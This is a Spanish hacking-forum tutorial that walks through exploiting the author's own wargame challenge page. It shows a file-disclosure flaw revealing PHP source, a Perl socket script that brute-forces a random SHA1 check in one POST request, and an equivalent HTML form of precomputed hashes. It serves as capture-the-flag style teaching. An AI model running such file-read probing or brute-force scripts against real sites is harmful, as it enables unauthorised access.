Metodologia a seguir para crear un exploit

Iniciado por mr.blood, Junio 08, 2013, 11:55:31 AM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Junio 08, 2013, 11:55:31 AM Ultima modificación: Mayo 02, 2022, 10:06:56 AM por mr.blood
NOTA IMPORTANTE: ESTADO DEL SERVIDOR AHORA: OFFLINE

Bueno, hoy sabado, sin ganas de seguir intentando el reto 4 de seth. Comienzo a escribir este "tutorial" sobre que pasos dar para hacer un exploit tras descubrir una vulnerabilidad.

Agradezcan el tutorial a The-XC3LL.

Bien, este tutorial sera "interactivo", osea que para entenderlo mejor, seria bueno que antes de leer como se hace, intenteis hacerlo.

Sin mas que decir, EMPEZAMOS!!




Si no sabes que es un EXPLOIT, empieza a leerte las FAQ de la seccion Bug's y Exploit's ;).

Bien, lo primero es abrir la Web vulnerable, en este caso es No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

La metodologia que yo sigo es mirar el codigo fuente y despues ver las cabeceras con HTTP Live Headers, o Tamper Data.

Si no vemos nada extraño, empecemos a probar cosas.

Por ejemplo, pulsemos sobre View File 1. Nos dice Dale.
Si damos clic sobre View File 2, nos dice Vamonos!.
Y si damos clic sobre View File 3, ¿qué nos dirá?... Pues nos dice xD.

Bien, veamos como funciona este PHP internamente, cambiemos todos los parametros por un 4. Quedaria No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Mmm, que interesante, ahora nos dice Archivo no encontrado. Osea que esos parametros se refieren a archivos del servidor... Interesante.

Veamos si tengo razón, cambiemos todos los parametros por index.php. ¡DIOS MIO! Que webmaster tan descuidado, podemos ver el contenido de index.php.

Fijemonos en esta parte:

Código: php

$array[] = 10;
$array[] = rand($array[0], 100);
$array[] = sha1(sha1($array[0]) . implode($array));
$array[0] = $array[sizeof($array)-1];

if ( isset($_POST[$array[1]]) && ($_POST[$array[1]] == $array[0]) )
{
if( isset($_GET[3]) )
{
echo "Reto superado!";
exit;
}
}


Para quienes no sepan PHP, les recomiendo que lo aprendan, es un gran lenguaje, muy util para todo, y muy necesario para el Hacking, pero bueno, explico un poco el codigo.

$array[] es una matriz, que empieza con el valor 10. Osea, que de momento como no tiene mas elementos el esquema quedaria $array=([0]=>0);. ([0] es el indice, en este caso se refiere al primer elemento)

Bien, ahora $array[]=rand($array[0],100); Con $array[]= le decimos que guarde el valor en otro elemento del array, como el siguiente libre es 1, pues lo guarda en $array[1]. ¿Y qué guarda?, pues un numero aleatorio entre $array[0] (10) y 100.

Siguiente linea, $array[] = sha1(sha1($array[0]) . implode($array));. Aqui guardamos en $array[2] el valor de codificar en sha1 $array[0] (10) concatenado con implode($array). Concatenar significa unir, ejemplo "1"."1" seria "11" ;). implode($array) une todos los elementos de $array. En este caso son: $array=([0]=>10;[1]=>rand(10,100);).
Pongo el rand, porque nosotros no conocemos que valor es. Entonces quedaria sha1("10").rand(10,100). Bien, despues de eso asigna a $array[2] la codificacion sha1 de sha1("10")."10".rand(10,100).

Lo siguiente, es asignar a $array[0] el valor de $array[sizeof($array)-1], o lo que es lo mismo, $array[2].

Ese if comprueba si pasamos por el metodo POST el argumento $array[1] y si es igual a $array[0], si todo esta bien, muestra el mensaje de que lo superamos.

Bien, ahora que sabemos que hace el codigo, analicemos el problema que se nos presenta.

Tenemos que pasar por el metodo POST $array[0] que es la codificacion en sha1 de sha1("10"), y el "10".rand(10,100); El problema es que nosotros no podemos controlar que numero aleatorio genera el php...

Uhmm dificil problema ¿no?. ¿Qué solucion se os ocurre? Despues de un rato pensando, se me ocurre algo. ¿Qué tal si enviamos todas las posibilidades de codificar en sha1 sha1("10") con cada numero del 10 al 100?, asi acertamos seguro ¿no?. Porque no, probemos.

¿Cual seria la forma mas facil de hacer esto?... Uhmmm la forma mas sencilla seria con HTML, pero yo os mostrare como hacerlo con Perl tambien ;).

Vale, lo 1º que tenemos que hacer, aprender Perl si no lo hemos aprendido ya ;).

Lo 2º, pongamos musica, abramos nuestro IDE favorito, y empecemos a codear ;).

Comenzamos:

Bueno, ya sabemos que problema hay y como resolverlo, nos queda programar un script que lo haga por nosotros, porque hacerlo a mano es demasiado largo.

Vale, lo primero es saber usar Sockets. Son muy simples en Perl ;).
Lo 2º, miramos la Documentacion de Perl, para ver como codificar en SHA1, una vez lo tengamos, ya  podremos hacer el exploit.

Ahh, casi lo olvido, parte fundamental del exploit, SABER ALGO DEL PROTOCOLO HTTP.
Porque, aunque podemos usar librerias como LWP que nos hagan el trabajo sucio a mano, prefiero enviar la cabecera a mano :P.

En fin, hasta aqui lo que os he podido enseñar... El resto del trabajo que tendreis que hacer por vuestra cuenta sera aprender algo de Perl y de HTTP hasta que entendais el Exploit, aun asi dejo el codigo bien comentado ;).

Código: perl

#!/usr/bin/perl

#~ Ejemplo para el tutorial sobre la metodologia de como crear un exploit
#~ Codeado por mr.blood

#~ Incluimos librerias
use IO::Socket::INET;
use Digest::SHA;


#~ Creamos el objeto $SHA1 para poder encriptar con este hash
$SHA1 = Digest::SHA->new(1);

#~ Como el .php usa una cadena constante (10), la encripto primero para no perder tiempo en cada ciclo
$SHA1->add("10");
$const=$SHA1->hexdigest();

#~ Declaro hash donde metermos todo el contenido de los numeros / hash que vamos a enviar
$hash="";

#~ Bucle for desde 10 hasta 100
for($i=10;$i<=100;$i++)
{
        #~ Encriptamos en SHA1 el "10" encriptado en SHA1 antes y un "10" mas la variable contador
        $SHA1->add($const."10".$i);

        #~ Peticion = peticion + variable contador + "="+hash+"&"
        $hash.="$i=".$SHA1->hexdigest()."&";
}

#~ Quitamos el ultimo &
$hash=substr($hash,0,-1);

#~ Empezamos a configurar la cabecera
$peticion="POST /wargame/1/index.php?3=a HTTP/1.0\r\nHOST:mr-blood.com\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:".length($hash)."\r\n\r\n";

#~ Adjuntamos el contenido de hash / numero
$peticion.=$hash;

#~ Indicamos el fin de la cabecera
$peticion.="\r\n";

#~ Conectamos al servidor
$sock=IO::Socket::INET->new(PeerAddr=>"mr-blood.com",PeerPort=>"80", Proto=>"tcp");

#~ Enviamos al servidor
print $sock $peticion;
print <$sock>;


Con HTML seria

Código: html4strict

<HTML>
<BODY>
<FORM method="post" action="http://www.mr-blood.com/wargame/1/index.php?3=a" name="formu">
<INPUT type='hidden' name='10' value='5241e22b10c7cd7b584a030a5a3e4d0ddcfad23a'>
<INPUT type='hidden' name='11' value='a03b139c54e9541788414ceac70f904b634973d8'>
<INPUT type='hidden' name='12' value='276bac22af85764d66b495d6468114051299b40c'>
<INPUT type='hidden' name='13' value='1399d4e7f4d90c0ac7048b449e3202220c93ab95'>
<INPUT type='hidden' name='14' value='94c53d8dc0796c3fcbaf79495daa3a5ada55f12a'>
<INPUT type='hidden' name='15' value='f1e02f447c4b6340a79670d6f8ceb7895d885cd3'>
<INPUT type='hidden' name='16' value='624c02af3c9a403868cccd6a3efcad7c965d03d3'>
<INPUT type='hidden' name='17' value='861ebd683457fd800680009340531583749562b5'>
<INPUT type='hidden' name='18' value='cbc8acda930ac6b9b285e2484c813486e5f1b8ca'>
<INPUT type='hidden' name='19' value='f40c52c5120557998959d1faae7238069ebf45da'>
<INPUT type='hidden' name='20' value='b037de6ef10d595faaf88e78612dd6341bc6d1af'>
<INPUT type='hidden' name='21' value='9d85b504abc477270194dde00cf743507ff91a76'>
<INPUT type='hidden' name='22' value='d587dd0b791261982692227a38442da3ac8fe22c'>
<INPUT type='hidden' name='23' value='ccd90168b04b2258bdcef494136fd27295b81075'>
<INPUT type='hidden' name='24' value='bd1435a6a8d0a54097563d5c9f35d00bbe466a75'>
<INPUT type='hidden' name='25' value='3944963b1ce5fcb70e5ce4a15d847851c0137d27'>
<INPUT type='hidden' name='26' value='8fb8a7a47da01ea7f55a0efe05907593fc1888c6'>
<INPUT type='hidden' name='27' value='21d2b25ca48cbc4149cf970f092a32abbae4fb88'>
<INPUT type='hidden' name='28' value='684ca122505c3a614dcffac27ca6109d2b18f33d'>
<INPUT type='hidden' name='29' value='ef07592a5c58f839bb76dd823dfdd7c43729f07e'>
<INPUT type='hidden' name='30' value='582e8f8bdb9840d3bec5a0906828708fc460da7b'>
<INPUT type='hidden' name='31' value='d0c7e7f1e639cac7febe9596c04fa3efac60a7b4'>
<INPUT type='hidden' name='32' value='1e5d2683077207581ab03bec2df884ac2d013ee9'>
<INPUT type='hidden' name='33' value='ab3a2c8ef86dd9929e9dd3c99694b894ab31da6c'>
<INPUT type='hidden' name='34' value='ef1e23dfbe669661aee93552a0a188a123b72135'>
<INPUT type='hidden' name='35' value='a4eb2958fd3c9e4b876b8871dfebb61d47b321d6'>
<INPUT type='hidden' name='36' value='efae44c695604c7c50d448da65cc8b6f9b769676'>
<INPUT type='hidden' name='37' value='7f027cfe4cfa2f3900b611b71270a95fd380bf63'>
<INPUT type='hidden' name='38' value='346833f76fc8c9a698b9163a7eb433df52a3791e'>
<INPUT type='hidden' name='39' value='10d6ff05ee932812c77205414866f45f6b12d12d'>
<INPUT type='hidden' name='40' value='708dfcbd367fdb5ab8ee51c7dfdc82dc1f8f86f1'>
<INPUT type='hidden' name='41' value='612ff66a43c6a449358a21160322a8c704a19c02'>
<INPUT type='hidden' name='42' value='4e96645109fd6b55dca3c064d508b6c4ddfd2bf7'>
<INPUT type='hidden' name='43' value='e94f6987841f932c015ae223f15ded8b39a91922'>
<INPUT type='hidden' name='44' value='c683ce8c5e271ee8f9bbdf28a22578e799bd32c2'>
<INPUT type='hidden' name='45' value='6d8e98545d29b25ce411a33d56c6efb2cd11ac20'>
<INPUT type='hidden' name='46' value='5b8863b1e3abefe108b688ef5673884a76129fbe'>
<INPUT type='hidden' name='47' value='51a110ac8dfe72bf1ad7bfb18b358763cd0f3849'>
<INPUT type='hidden' name='48' value='68d609687a986f59ffdbf6bbc52e301cc07bae63'>
<INPUT type='hidden' name='49' value='b838c1c42b8b6018610da84d102b78198169c9bc'>
<INPUT type='hidden' name='50' value='eea2a4256e116005b68717415536df704292921b'>
<INPUT type='hidden' name='51' value='a578bcc12c48f9069057b742532e943388c49cd9'>
<INPUT type='hidden' name='52' value='518ab6481006cf7233403ba078d2fd7460c5b42f'>
<INPUT type='hidden' name='53' value='394006d762d0d0df62c9900b3b012bc84093b347'>
<INPUT type='hidden' name='54' value='6c7b051e5079c9186bcc0d87e42b33122e35e55e'>
<INPUT type='hidden' name='55' value='7bf0aaf948b3ccc2f64d74413f3b742e87833a64'>
<INPUT type='hidden' name='56' value='f014f26b96f5e9095a6f36d48a78ae6d852436d8'>
<INPUT type='hidden' name='57' value='5654b0dcbfd85010df6a8780263b87b77cc7ae50'>
<INPUT type='hidden' name='58' value='a727d0c5aaf97e9c7425a5b90221360b4b1ac7bc'>
<INPUT type='hidden' name='59' value='571aef913d9a84f6789550709057e996e93cb2ef'>
<INPUT type='hidden' name='60' value='93f815b36507f09430906534293e1c835db0962f'>
<INPUT type='hidden' name='61' value='eb69afbcd4daaf8d8475fc4490f368f8ff4f81dd'>
<INPUT type='hidden' name='62' value='f91cb26b7b06be1fbd192ce8835afd7f99cb0004'>
<INPUT type='hidden' name='63' value='8dc6e9ab876a4b49d8df8af63a702b86d4038355'>
<INPUT type='hidden' name='64' value='c86e8c1d0dc6e477fa05b23b24a955d43f5a7bda'>
<INPUT type='hidden' name='65' value='f541e56d2e976408a8c83175900e14b6a646dc68'>
<INPUT type='hidden' name='66' value='02356f5b3a1d41f3c74bf4a2aab1d4ec28717124'>
<INPUT type='hidden' name='67' value='fcedf7873e897cf3256997a151a43b48e8f70de0'>
<INPUT type='hidden' name='68' value='a7316620be9ff4d86aff4dc6cb67c1f137a3a7a8'>
<INPUT type='hidden' name='69' value='cbe1f15d3f0eed42f459c7a0e39879e1be31c42a'>
<INPUT type='hidden' name='70' value='700fbee3d8b49ae6b77d46a1e32ff62d2496d3d9'>
<INPUT type='hidden' name='71' value='25bd1b5387eb4f9ee14cc092db1f4bb02b4189bc'>
<INPUT type='hidden' name='72' value='31ae34500917043543eb77f8e073bdbdbf09b9b3'>
<INPUT type='hidden' name='73' value='3b3d9ec0697f9d38d600d3991bac14bd0e9b9f1b'>
<INPUT type='hidden' name='74' value='341fe7d22415e323ff9f3ed937a78ba4dbbb2dc6'>
<INPUT type='hidden' name='75' value='b5b0f6f15965d8b46e9fddfad1345f94d99c50f9'>
<INPUT type='hidden' name='76' value='494472f443d02b3861a68c0faf64d1bb5bec1ec4'>
<INPUT type='hidden' name='77' value='bb4dac71f2922fb7b1a9007b1afbb8512c31ab0e'>
<INPUT type='hidden' name='78' value='abada3f9954a296c36d63e3b244b4cefc0933b8b'>
<INPUT type='hidden' name='79' value='85fe446b1927b113ccb3e5bccbe7b96d997cbd22'>
<INPUT type='hidden' name='80' value='58e14b5ec5b359540fcffa4ca33fce03c075fcc8'>
<INPUT type='hidden' name='81' value='2fe0c6c2d42652273e05913afa2561bc027f83ff'>
<INPUT type='hidden' name='82' value='f28eede207a9a97db0e7b9df7e8cbd059def0cdc'>
<INPUT type='hidden' name='83' value='8afaccb11991b5711feb99d9143d0223c7ae93b3'>
<INPUT type='hidden' name='84' value='67f833ae248d355ad1d79750a57b69855f015a32'>
<INPUT type='hidden' name='85' value='9bad193754f4b994882c74cd3acdb5260649f12b'>
<INPUT type='hidden' name='86' value='4164ce6a05f701126fab11be1b4ee7986468d224'>
<INPUT type='hidden' name='87' value='bb361f62a3284086679450214220582d8fb37013'>
<INPUT type='hidden' name='88' value='824254fc09609e325d4db5b1c4303c3e6af33db2'>
<INPUT type='hidden' name='89' value='1738ee9204393bc3add64ee5555672a32bd7edef'>
<INPUT type='hidden' name='90' value='2d54565b0e5120022a11bb20546e894b33bf4e71'>
<INPUT type='hidden' name='91' value='440e9a8f03795242eb531d122fe543cd9623e8ce'>
<INPUT type='hidden' name='92' value='b8d92b83bb01edff516abff2f8c73afd3d67542e'>
<INPUT type='hidden' name='93' value='bc0d88afd61fb8b44ab9d87bbd872f7589b3ea9d'>
<INPUT type='hidden' name='94' value='099e8a02963269720a23f1249f696375796e9d35'>
<INPUT type='hidden' name='95' value='123d8b03c2db644a6164d3a25b17502a588021b9'>
<INPUT type='hidden' name='96' value='3a3ed348dac5c8ca1383cf3dda9a9550d35619cc'>
<INPUT type='hidden' name='97' value='de63ed4b7e7f1ed0de5c759147153704f3088809'>
<INPUT type='hidden' name='98' value='73073ba058a0f6b797b7659a613a0708e061a732'>
<INPUT type='hidden' name='99' value='53ac83b3eacbc6c3a66441b01ad9f169163c6f7e'>
<INPUT type='hidden' name='100' value='2990a2405123c054263407f7fe4c498236ea15ea'>
<INPUT type='submit' value='Exploit it'>
</FORM>
</BODY>
</HTML>


Espero que os sirva y que tengais algo mas de documentacion de la que yo tuve cuando empecé ;).

Os pido por favor, que no me hagais el tonto con el hosting, osea no envieis miles de peticiones, o tendre que cerrar la zona de practicas, lo que seria una pena ;). Con una o dos es mas que suficiente para ver que funciona ;).

Informaciones de interes:
   · El paper No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si algo no queda claro, hay algun fallo, o cometi alguna falta ortografica grave, hacedmelo saber ;)

Y si teneis sugerencias para mejorarlo, tambien comentad, en fin, comentad y decid que os parece ;).

Sa1uDoS

P.D.: Si quieres postear el tutorial en otro lugar, no olvides mencionar el autor por favor, que hacer estas cosas lleva su tiempo.

Buena info mr.blood, sigue así ;)
Twitter: @The_Pr0ph3t
[email protected]